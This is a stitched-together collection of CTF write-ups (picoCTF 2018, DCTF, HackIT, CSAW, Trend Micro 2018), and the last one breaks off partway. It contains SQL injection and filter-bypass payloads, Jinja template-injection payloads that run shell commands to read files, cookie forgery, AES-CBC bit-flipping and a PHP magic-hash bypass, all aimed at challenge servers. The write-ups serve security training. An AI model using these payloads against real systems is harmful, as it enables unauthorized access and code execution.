Great, no we know how to construct the SQL query.We can to return all rowswith a username or `' OR 1=1 --` and an empty password, which will end upconstructing the following request :
```sqlSELECT * FROM users WHERE name='' OR 1=1 --' AND password=''```
Since anything after `--` is ignored, the effective query is :
```sqlSELECT * FROM users WHERE name='' OR 1=1```
If we try this payload, we get the flag in the response :`picoCTF{con4n_r3411y_1snt_1r1sh_9cbc118f}` |
The clue indicates that we should somehow manipulate the cookie in order to getlogged-in as admin.
So I first browsed around the site to see what cookies get set, but all we getis the same encrypted cookie we can see on other problems. Looks like we haveto forge a new cookie.
It was then a matter of guesswork :
- `username=admin` : Nope.- `user=admin` : Nope.- `admin=True` (similar as the previous "Logon" task) : we get the flag: `picoCTF{n0l0g0n_n0_pr0bl3m_26b0181a}` |
```from PIL import Image from PIL import ImageFilterimport numpy as npimport randomfrom random import randinttry: import Imageexcept ImportError: from PIL import Imageimport pytesseractfrom multiprocessing import Processfrom multiprocessing import Pool, TimeoutErrorimport os
def rotate(l, y=1): if len(l) == 0: return l y = -y % len(l) return l[y:] + l[:y]
def removedup(duplicate): final_list = [] for num in duplicate: if num not in final_list: final_list.append(num) return final_list
im = Image.open("./e.png")
pixels = list(im.getdata())width, height = im.sizepixels = [pixels[i * width:(i + 1) * width] for i in xrange(height)]
i = 0
while (1): for x in range(220, 260): width = 0 while ((pixels[x][0] == (255, 255, 255)) and (width != 934)): # this insane hardcodation is used to filter out the whitespace to the right edge while (pixels[x][-400:] != [(255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255)]): pixels[x] = rotate(pixels[x], -1) pixels[x] = rotate(pixels[x], -1) # print "rotatie" width += 1 pixel = np.array(pixels, dtype=np.uint8) im = Image.fromarray(pixel) for x in range(220, 260): pixels[x] = rotate(pixels[x], -1) text = pytesseract.image_to_string(im) print text if "DC TF" in text: im.save("flag.png") break i = i + 1 print str(i) + "\n"```
https://nitesculucian.github.io/2018/09/29/dctf-2018-broken-tv/ |
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-write-ups</span></span></span><span>/</span><span><span>Pico CTF 2018</span></span><span>/</span>rop<span>/</span> </div> </div>
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|
When browsing to the target URL, we are presented with a login form and a[link to the login source code](http://2018shell3.picoctf.com:53261/login.txt) :
```php"; echo "username: ", htmlspecialchars($username), "\n"; echo "password: ", htmlspecialchars($password), "\n"; echo "SQL query: ", htmlspecialchars($query), "\n"; echo ""; }
//validation check $pattern ="/.*['\"].*OR.*/i"; $user_match = preg_match($pattern, $username); $password_match = preg_match($pattern, $username); if($user_match + $password_match > 0) { echo "<h1>SQLi detected.</h1>"; } else { $result = $con->query($query); $row = $result->fetchArray(); if ($row) { echo "<h1>Logged in!</h1>"; echo "Your flag is: $FLAG"; } else { echo "<h1>Login failed.</h1>"; } }?>```
Your flag is: $FLAG
It is apparent from the code that we're looking at an SQL injection, this timewith a [regex](https://en.wikipedia.org/wiki/Regular_expression)-based filterto circumvent.
We can also see that the script takes a `debug` parameter that will echo theSQL query.
The regex used for validation is:
```/.*['\"].*OR.*/i```That translates to`(any character, 0 or more times) followed by (a single quote) followed by ("OR") followed by (any character, 0 or more times)`
This filter would prevent using the basic `' OR 1=1 --` injection.
## The filtering bug
If we look closely at the code, we can notice a mistake :
```php$user_match = preg_match($pattern, $username);$password_match = preg_match($pattern, $username);```
Instead of checking the validation regex against the `username` and `password`fields, the `username` field is checked twice ! This means we can use our basicinjection on the `password` field.
Thanks to the `debug` parameter, we know that the query is constructed asfollows:
```sqlSELECT 1 FROM users WHERE name='username' AND password='password'```
So if we were to inject our `' OR 1=1 ; --` payload in the `password` field, wewould end up with the following query :
```sqlSELECT 1 FROM users WHERE name='username' AND password='' OR 1=1 ; --'```
That circumvents password verification, but we still need a valid username forthe query to return at least one row.
So I took a wild guess and tried a username of `admin` and a password of`' OR 1=1 ; --`. Bingo : `picoCTF{w3lc0m3_t0_th3_vau1t_23495366}`
## A better solution
Let's assume for a moment that the filter was correctly used (i.e. if the`username` and `password` fields were correctly checked). Would that meanthat we couldn't leverage an SQL injection ? Certainly not.
Here's an alternative solution I thought about when writing this up : if you pass`'/*` as username and `*/ OR 1=1 --` as password, you get the flag and wouldget it without the bug exploited in the previous solution.
The reason for that is that the two components of the injection (the `'`escaping the quoted block and the always true `OR 1=1` condition) that are checkedagainst are split in different fields, preventing the regex from matching :
- `'/*` has a single quote but no `OR` : the `username` field doesn't match- `*/ OR 1=1 --` contains `OR` but no single quote before : the `password` field doesn't match
The `/* */` is pretty much the same as in javascript : it declares an inlinecomment, meaning that anything between `/*` and `*/` will be ignored.
So with that request, this query is constructed
```sqlSELECT 1 FROM users WHERE name=''/*' AND password='*/ OR 1=1 --'```
Removing the commented-out parts, this is executed :
```sqlSELECT 1 FROM users WHERE name='' OR 1=1```
This is a better solution for 2 reasons :
1. It would work even if the filter checking were fixed2. It doesn't require to guess a valid username. |
# Full WriteUp
Full Writeup on our website: [https://www.aperikube.fr/docs/csawquals_2018/algebra](https://www.aperikube.fr/docs/csawquals_2018/algebra)
-------------# TL;DR
This challenge consists in equations being thrown at us that we have to solve and send the result in order to get the flag. Python and sage, guide us please ! |
**Description**
> Prove you are not a baby:> > http://185.168.130.148/
**No files provided**
**Solution**
> (Note: write-up written without access to the original service. I tried to replicate the source as best as I could remember.)
We are presented with a PHP script giving us access to its source and a [`.so` file](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-09-08-HackIT-CTF/files/auth.so) (shared object) it uses.
```phpyou may need [this](?source) or [this](auth.so).
```
The script seems simple enough but clearly we need to understand the `auth` function, which is defined in the shared object. We can look at the function and decompile it with IDA:
```cPhp::Parameters *__fastcall auth(Php::Parameters *a1, __int64 a2){ __int64 v2; // rax const char *v3; // rax char dest; // [rsp+10h] [rbp-60h] char v6[8]; // [rsp+30h] [rbp-40h] unsigned __int64 v7; // [rsp+58h] [rbp-18h] v7 = __readfsqword(0x28u); strcpy(v6, "21232f297a57a5a743894a0e4a801fc3"); v2 = std::vector<Php::Value,std::allocator<Php::Value>>::operator[](a2, 1LL); v3 = (const char *)Php::Value::operator char const*(v2); strcpy(&dest, v3); Php::Value::Value(a1, v6, -1); return a1;}```
The PHP wrappers are a bit confusing at first but essentially, `v2` gets set to the second argument given to the function, `v3` gets its C-string value, and that value is then `strcpy` copied into `dest`. [`strcpy`](https://linux.die.net/man/3/strcpy) (see "Bugs") is a big source of overflow vulnerabilities of course, and it is the same here. If the second argument given to `auth` is too long, i.e. more than 32 bytes, it will overflow into `v6` (since `v6` is right after `dest` on the stack).
The first argument given to `auth` is actually not used at all.
What happens if we overflow into `v6`? We can cause the function to return a different value. It can be any short string of our choosing (the `$p` variable is still limited to 45 characters, minus the 32 needed to overflow into `dest`).
So, we need two values which are different but their MD5 digests are not? The condition seems to assert that, and it would mean that we need to find two relatively short strings that cause a MD5 collision. Some quick research shows that the shortest known pair like this is [64 bytes of binary data](https://stackoverflow.com/questions/1999824/whats-the-shortest-pair-of-strings-that-causes-an-md5-collision), which will not fit.
Luckily, PHP is a bit weird, and the vulnerability is in this line:
```phpif (md5($user) == md5($digest) && $digest !== $user) {```
The MD5 digests are compared using the [equality operator `==`](https://secure.php.net/manual/en/language.operators.comparison.php), while the strings themselves are compared using the [not-identity operator `!==`](https://secure.php.net/manual/en/language.operators.comparison.php). Basically, the latter is type safe, while the former can sometimes compare variables in somewhat arbitrary ways.
In particular, strings can be interpreted as numbers in scientific notation. For this to happen, the string needs to be all numbers except for an `e`. As it turns out, MD5, or more specifically, the `md5` function in PHP, produces digests of 32 hexadecimal digits. It is possible that the digest for a certain string follows the scientific notation. It takes some time to brute-force out candidates like this, but it is possible.
With even more time, digests of even more specific formats can be found. If the digest starts with `0e`, followed by decimal digits only, e.g. `0e830400451993494058024219903391`, to PHP it looks like `0 * 10^830400451993494058024219903391`, which is zero in value!
So we need to provide two short strings that both give an MD5 digest starting with `0e` followed by decimal digits only. If you search for such an example, you may find this pair:
```md5("240610708") === "0e462097431906509019562988736854"md5("QNKCDZO") === "0e830400451993494058024219903391"```
So now we have all we need to exploit the website. We provide `240610708` as the username, and we put `QNKCDZO` in our password after 32 padding characters to make the digest be `QNKCDZO`:
http://185.168.130.148/?u=240610708&p=abcdabcdabcdabcdabcdabcdabcdabcdQNKCDZO
`flag{here_is_a_warmup_chal_for_u_baby_}` |
# ▼▼▼Secure Logon - Points: 500▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
```Uh oh, the login page is more secure... I think. http://2018shell2.picoctf.com:56265Source(https://2018shell2.picoctf.com/static/a39b448f70e7523eb03516bb9c211c1a/server_noflag.py).```
Hint:There are versions of AES that really aren't secure.
---
## 【Understanding of functions】
Login with id=`test_id`&password=`test_pass`
↓
The following is displayed
`Cookie: {'admin': 0, 'password': 'test_pass', 'username': 'test_id'}`
↓
I should do it to admin: `1`
---
## 【View source code & Identify the vulnerability】
source
↓
```from flask import Flask, render_template, request, url_for, redirect, make_response, flashimport jsonfrom hashlib import md5from base64 import b64decodefrom base64 import b64encodefrom Crypto import Randomfrom Crypto.Cipher import AES
app = Flask(__name__)app.secret_key = 'seed removed'flag_value = 'flag removed'
BLOCK_SIZE = 16 # Bytespad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * \ chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)unpad = lambda s: s[:-ord(s[len(s) - 1:])]
@app.route("/")def main(): return render_template('index.html')
@app.route('/login', methods=['GET', 'POST'])def login(): if request.form['user'] == 'admin': message = "I'm sorry the admin password is super secure. You're not getting in that way." category = 'danger' flash(message, category) return render_template('index.html') resp = make_response(redirect("/flag"))
cookie = {} cookie['password'] = request.form['password'] cookie['username'] = request.form['user'] cookie['admin'] = 0 print(cookie) cookie_data = json.dumps(cookie, sort_keys=True) encrypted = AESCipher(app.secret_key).encrypt(cookie_data) print(encrypted) resp.set_cookie('cookie', encrypted) return resp
@app.route('/logout')def logout(): resp = make_response(redirect("/")) resp.set_cookie('cookie', '', expires=0) return resp
@app.route('/flag', methods=['GET'])def flag(): try: encrypted = request.cookies['cookie'] except KeyError: flash("Error: Please log-in again.") return redirect(url_for('main')) data = AESCipher(app.secret_key).decrypt(encrypted) data = json.loads(data)
try: check = data['admin'] except KeyError: check = 0 if check == 1: return render_template('flag.html', value=flag_value) flash("Success: You logged in! Not sure you'll be able to see the flag though.", "success") return render_template('not-flag.html', cookie=data)
class AESCipher: """ Usage: c = AESCipher('password').encrypt('message') m = AESCipher('password').decrypt(c) Tested under Python 3 and PyCrypto 2.6.1. """
def __init__(self, key): self.key = md5(key.encode('utf8')).hexdigest()
def encrypt(self, raw): raw = pad(raw) iv = Random.new().read(AES.block_size) cipher = AES.new(self.key, AES.MODE_CBC, iv) return b64encode(iv + cipher.encrypt(raw))
def decrypt(self, enc): enc = b64decode(enc) iv = enc[:16] cipher = AES.new(self.key, AES.MODE_CBC, iv) return unpad(cipher.decrypt(enc[16:])).decode('utf8')
if __name__ == "__main__": app.run()```
↓
BLOCK_SIZE = 16 # Bytes
The data in the JSON format displayed after logging in shows that the cookie is encrypted with `AES-CBC`
↓
There is a vulnerability of `Bit-flipping attack`
---
## 【Bit-flipping attack against AES-CBC】
Login with `user=&password=`
↓
display `Cookie: {'admin': 0, 'password': '', 'username': ''}`
and
cookie= `Ftj1cxomO+7uA+9LknJgDG5MsSeuJAiiudLTwLG2AwOzVWPkuqrJsazTpvRPNjbHGSlTvI4QqkBM4Snbj8JAIA==`
↓ base64 decode & ASCII hex encode
`16d8f5731a263beeee03ef4b9272600c6e4cb127ae2408a2b9d2d3c0b1b60303b35563e4baaac9b1acd3a6f44f3636c7192953bc8e10aa404ce129db8fc24020`
↓
I used BurpSuite Intruder
↓
↓ Start Attack
↓
`picoCTF{fl1p_4ll_th3_bit3_2efa4bf8}` |
# ▼▼▼Artisinal Handcrafted HTTP 3 - Points: 300 ▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
```We found a hidden flag server hiding behind a proxy, but the proxy has some... _interesting_ ideas of what qualifies someone to make HTTP requests. Looks like you'll have to do this one by hand. Try connecting via nc 2018shell2.picoctf.com 46083, and use the proxy to send HTTP requests to `flag.local`. We've also recovered a username and a password for you to use on the login page: `realbusinessuser`/`potoooooooo`.
Hint: _Be the browser._ When you navigate to a page, how does your browser send HTTP requests? How does this change when you submit a form?```
---
## 【Access to GET /】
`# telnet 2018shell2.picoctf.com 46083`
↓
```Trying 18.224.157.204...Connected to 2018shell2.picoctf.com.Escape character is '^]'.Real Business Corp., Internal ProxyVersion 2.0.7To proceed, please solve the following captcha:
__ _____/ | |____ | ______`| | ______ / / |______| | | |______| \ \ _______| |_ .___/ / |______|\___/ \____/```
↓
>` -2`
↓
```Validation succeeded. Commence HTTP.```
↓
```GET / HTTP/1.1Host: flag.local```
↓
```HTTP/1.1 200 OKx-powered-by: Expresscontent-type: text/html; charset=utf-8content-length: 321etag: W/"141-LuTf9ny9p1l454tuA3Un+gDFLWo"date: Sat, 06 Oct 2018 16:04:45 GMTconnection: close
<html> <head> <link rel="stylesheet" type="text/css" href="main.css" /> </head> <body> <header> <h1>Real Business Internal Flag Server</h1> Login </header> <main> You need to log in before you can see today's flag. </main> </body> </html>```
You need to log in before you can see today's flag.
↓
```Connection closed by foreign host.```
---
## 【Access to GET /login】
Start with `# telnet 2018shell2.picoctf.com 46083` as well
↓
```GET /login HTTP/1.1Host: flag.local```
↓
```HTTP/1.1 200 OKx-powered-by: Expresscontent-type: text/html; charset=utf-8content-length: 498etag: W/"1f2-UE5AGAqbLVQn1qrfKFRIqanxl9I"date: Sat, 06 Oct 2018 16:05:47 GMTconnection: close
<html> <head> <link rel="stylesheet" type="text/css" href="main.css" /> </head> <body> <header> <h1>Real Business Internal Flag Server</h1> Login </header> <main> <h2>Log In</h2>
<form method="POST" action="login"> <input type="text" name="user" placeholder="Username" /> <input type="password" name="pass" placeholder="Password" /> <input type="submit" /> </form> </main> </body> </html>```
↓
The parameter names were found to be `user` and `pass`
---
## 【Access to POST /login】
Start with `# telnet 2018shell2.picoctf.com 46083` as well
↓
```POST /login HTTP/1.1Host: flag.localContent-Type: application/x-www-form-urlencodedContent-Length: 38
user=realbusinessuser&pass=potoooooooo```
↓
```HTTP/1.1 302 Foundx-powered-by: Expressset-cookie: real_business_token=PHNjcmlwdD5hbGVydCgid2F0Iik8L3NjcmlwdD4%3D; Path=/location: /vary: Acceptcontent-type: text/plain; charset=utf-8content-length: 23date: Sat, 06 Oct 2018 16:45:47 GMTconnection: close
Found. Redirecting to /```
↓
I get `real_business_token=PHNjcmlwdD5hbGVydCgid2F0Iik8L3NjcmlwdD4%3D`
---
## 【Access to GET / with Cookie】
Start with `# telnet 2018shell2.picoctf.com 46083` as well
↓
```GET / HTTP/1.1Host: flag.localCookie: real_business_token=PHNjcmlwdD5hbGVydCgid2F0Iik8L3NjcmlwdD4%3D```
↓
```HTTP/1.1 200 OKx-powered-by: Expresscontent-type: text/html; charset=utf-8content-length: 438etag: W/"1b6-W7vAFWOkYXQgrhkzGj6dgZ9sfsg"date: Sat, 06 Oct 2018 16:47:14 GMTconnection: close
<html> <head> <link rel="stylesheet" type="text/css" href="main.css" /> </head> <body> <header> <h1>Real Business Internal Flag Server</h1> <div class="user">Real Business Employee</div> Logout </header> <main> Hello Real Business Employee! Today's flag is: picoCTF{0nLY_Us3_n0N_GmO_xF3r_pR0tOcol5_72f2}. </main> </body> </html>```
Hello Real Business Employee! Today's flag is: picoCTF{0nLY_Us3_n0N_GmO_xF3r_pR0tOcol5_72f2}.
↓
`picoCTF{0nLY_Us3_n0N_GmO_xF3r_pR0tOcol5_72f2}` |
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-write-ups</span></span></span><span>/</span><span><span>Pico CTF 2018</span></span><span>/</span>cake<span>/</span> </div> </div>
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<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf-write-ups</span></span></span><span>/</span><span><span>Pico CTF 2018</span></span><span>/</span>cake<span>/</span></div>
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Problem Statement(250 points):
We ran into some weird puzzles we think may mean something, can you help me solve one? Connect with nc 2018shell2.picoctf.com 40440
Solution:
The output of the terminal when log in to the given service was :
0x7069636f4354467b64305f755f6b6e30775f7468335f7740795f325f5253405f35643338336531307dL <type 'long'> Hello, Welcome to RSA Madlibs Keeping young children entertained, since, well, nev3r Tell us how to fill in the blanks, or if it's even possible to do so Everything, input and output, is decimal, not hex #### NEW MADLIB #### q : 93187 p : 94603 ##### WE'RE GONNA NEED THE FOLLOWING ####
So we have to answer some questions to get the flag but in the first line i saw a hexadecimal number.i was curious to know why it is there so i converted it to string and surprisingly it was the flag:
picoCTF{d0_u_kn0w_th3_w@y_2_RS@_5d383e10}
|
# ▼▼▼Flaskcards and Freedom - Points: 900▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
```There seem to be a few more files stored on the flash card server but we can't login. Can you? http://2018shell2.picoctf.com:5010 (link)
Hint: ・There's more to the original vulnerability than meets the eye.・Can you leverage the injection technique to get remote code execution?・Sorry, but the database still reverts every 2 hours.```
---
## 【Aim for remote code execution】
`{{url_for.__globals__.os.__dict__.popen('ls').read()}}`
↓
app flag server.py xinet_startup.sh
↓
There is `flag` file
---
`{{url_for.__globals__.os.__dict__.popen('cat flag').read()}}`
↓
`picoCTF{R_C_E_wont_let_me_be_76de9280}` |
# Trend Micro CTF 2018
**It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20180914-trendmicroctf/) of this writeup.**
- [Trend Micro CTF 2018](#trend-micro-ctf-2018) - [Analysis-Offensive](#analysis-offensive) - [200](#200) - [300](#300) - [400 ACME Protocol](#400-acme-protocol) - [Reversing-Binary](#reversing-binary) - [100 (sces60107)](#100-sces60107) - [300](#300-1) - [400](#400) - [part 2](#part-2) - [Forensics-Crypto1](#forensics-crypto1) - [400](#400-1) - [Forensics-Crypto2](#forensics-crypto2) - [100 (sces60107)](#100-sces60107-1) - [200 (sces60107)](#200-sces60107) - [300](#300-2) - [Reversing-Other](#reversing-other) - [100, 200 (sces60107)](#100-200-sces60107) - [400 (sces60107)](#400-sces60107) - [Misc](#misc) - [100](#100) - [200](#200-1) - [300](#300-3)
## Analysis-Offensive
### 200
We are given a program `oracle` which reads our input. If our input matches the flag, it outputs `True`, otherwise, `False`.
According to the hints from the description, (1) The program exits as fast as possible. (2) This is not a reverse challenge.
So, let's take a look at the system calls it uses:```shell$ strace ./oracle TMCTF{execve("./oracle", ["./oracle", "TMCTF{"], [/* 23 vars */]) = 0brk(NULL) = 0x146d000brk(0x146e1c0) = 0x146e1c0arch_prctl(ARCH_SET_FS, 0x146d880) = 0uname({sysname="Linux", nodename="ubuntu-xenial", ...}) = 0readlink("/proc/self/exe", "/home/vagrant/trend/analysis-200"..., 4096) = 39brk(0x148f1c0) = 0x148f1c0brk(0x1490000) = 0x1490000access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)nanosleep({0, 15000000}, NULL) = 0nanosleep({0, 15000000}, NULL) = 0nanosleep({0, 15000000}, NULL) = 0nanosleep({0, 15000000}, NULL) = 0nanosleep({0, 15000000}, NULL) = 0nanosleep({0, 15000000}, NULL) = 0fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0write(1, "False\n", 6False) = 6exit_group(0) = ?+++ exited with 0 +++```Nice, it sleeps six times when the first six characters are correct. Here is our script:
```pythonimport subprocessimport string
flag = 'TMCTF{'while True: for c in string.ascii_letters + string.digits + '{}_': batcmd = '/usr/bin/strace ./oracle "{}" 2>&1'.format(flag + c) result = subprocess.check_output(batcmd, shell=True) if result.count('nano') == len(flag) + 1: flag += c break print(flag)```FLAG: `TMCTF{WatchTh3T1m3}`
### 300We are given three people's public keys and the messages for them respectively. For example,```message for Alice:18700320110367574655449823553009212724937318442101140581378358928204994827498139841897479168675123789374462637095265564472109735802305521045676412446455683615469865332270051569768255072111079626023422
Alice's public key (e,N):( 65537 , 23795719145225386804055015945976331504878851440464956768596487167710701468817080174616923533397144140667518414516928416724767417895751634838329442802874972281385084714429143592029962130216053890866347 )```It turns out that any two of the module `N`s has a common factor, thus they all can be factorized.```pythonfrom gmpy2 import *
...
g_ab = gcd(a_N, b_N)g_bc = gcd(b_N, c_N)
def decrypt(msg, p, q, N): phi_n = (p-1)*(q-1) d = invert(65537, phi_n) msg = pow(msg, d, N) print(int2text(msg))
decrypt(a_msg, g_ab, a_N/g_ab, a_N)decrypt(b_msg, g_ab, b_N/g_ab, b_N)decrypt(c_msg, g_bc, c_N/g_bc, c_N)```Hmm... is it worth 300 points?FLAG: `TMCTF{B3Car3fu11Ab0utTh3K3ys}`
### 400 ACME Protocol
We are given a protocol and some reference implementation in Python. The author of this challenge is so kind. Even a protocol spec is given! so let's take a closer look at the protocol to find the vulnerability.
First, our objective is obvious: run `getflag` as `admin`
```4.6 COMMAND (Message Type 0x06)
Message Format: Client -> Server: 0x06 | Ticket | Command
Explanation: Client requests execution of the command specified by the string Command. Ticket must be a valid, current ticket received via a LOGON_SUCCESS message.
Processing: The server executes the following algorithm upon receipt:
Set D = Decrypt(Base64Decode(Ticket), KS)Scan D sequentially as follows:Set IdentityFromTicket = JSON string (UTF-8, null-terminated)Set Timestamp = 8 bytesIf Timestamp is too old (> 1 hour): Respond with message AUTHX_FAILURE EndSet U to the string IdentityFromTicket.userIterate over IdentityFromTicket.groups, collecting the results into an array of strings, GSet Identity = object expressing U and GIf Command = “whoami”: Set Result = JSON string: { user: Identity.U, groups: [ G1, G2, ... ] } where G1, G2, ... are the elements of Identity.GElse If Command = “getflag”: If G contains the string “admin”: Set Result = CTF flag Else: Respond with message AUTHX_FAILURE EndElse: Respond with message AUTHX_FAILURE EndRespond with message COMMAND_RESULT(Result)```
Okay, the next problem is how to generate a valid `IdentityFromTicket`, which is a JSON string encrypted by KS (server key)? What we want to do is to send `Encrypt({"user":"admin","groups":["admin"]} | timestamp)`. Note that in this challenge we don't even have a valid guest account to login.
Of course we don't have the server key, but can we abuse other command to manipulate the payload? Let's take a look at LOGON_REQUEST:
```4.1 LOGON_REQUEST (Message Type 0x01)
Message format: Client -> Server: 0x01 | U
Explanation: The client sends this message to the server to initiate authentication with username U.
Processing: The server executes the following algorithm upon receipt:
Set Nonce = 8-byte random nonceSet Timestamp = current timestampSet ChallengeCookie = Base64Encode(Encrypt(Nonce | U | Timestamp, KS))Respond with message LOGON_CHALLENGE(Nonce, ChallengeCookie)```
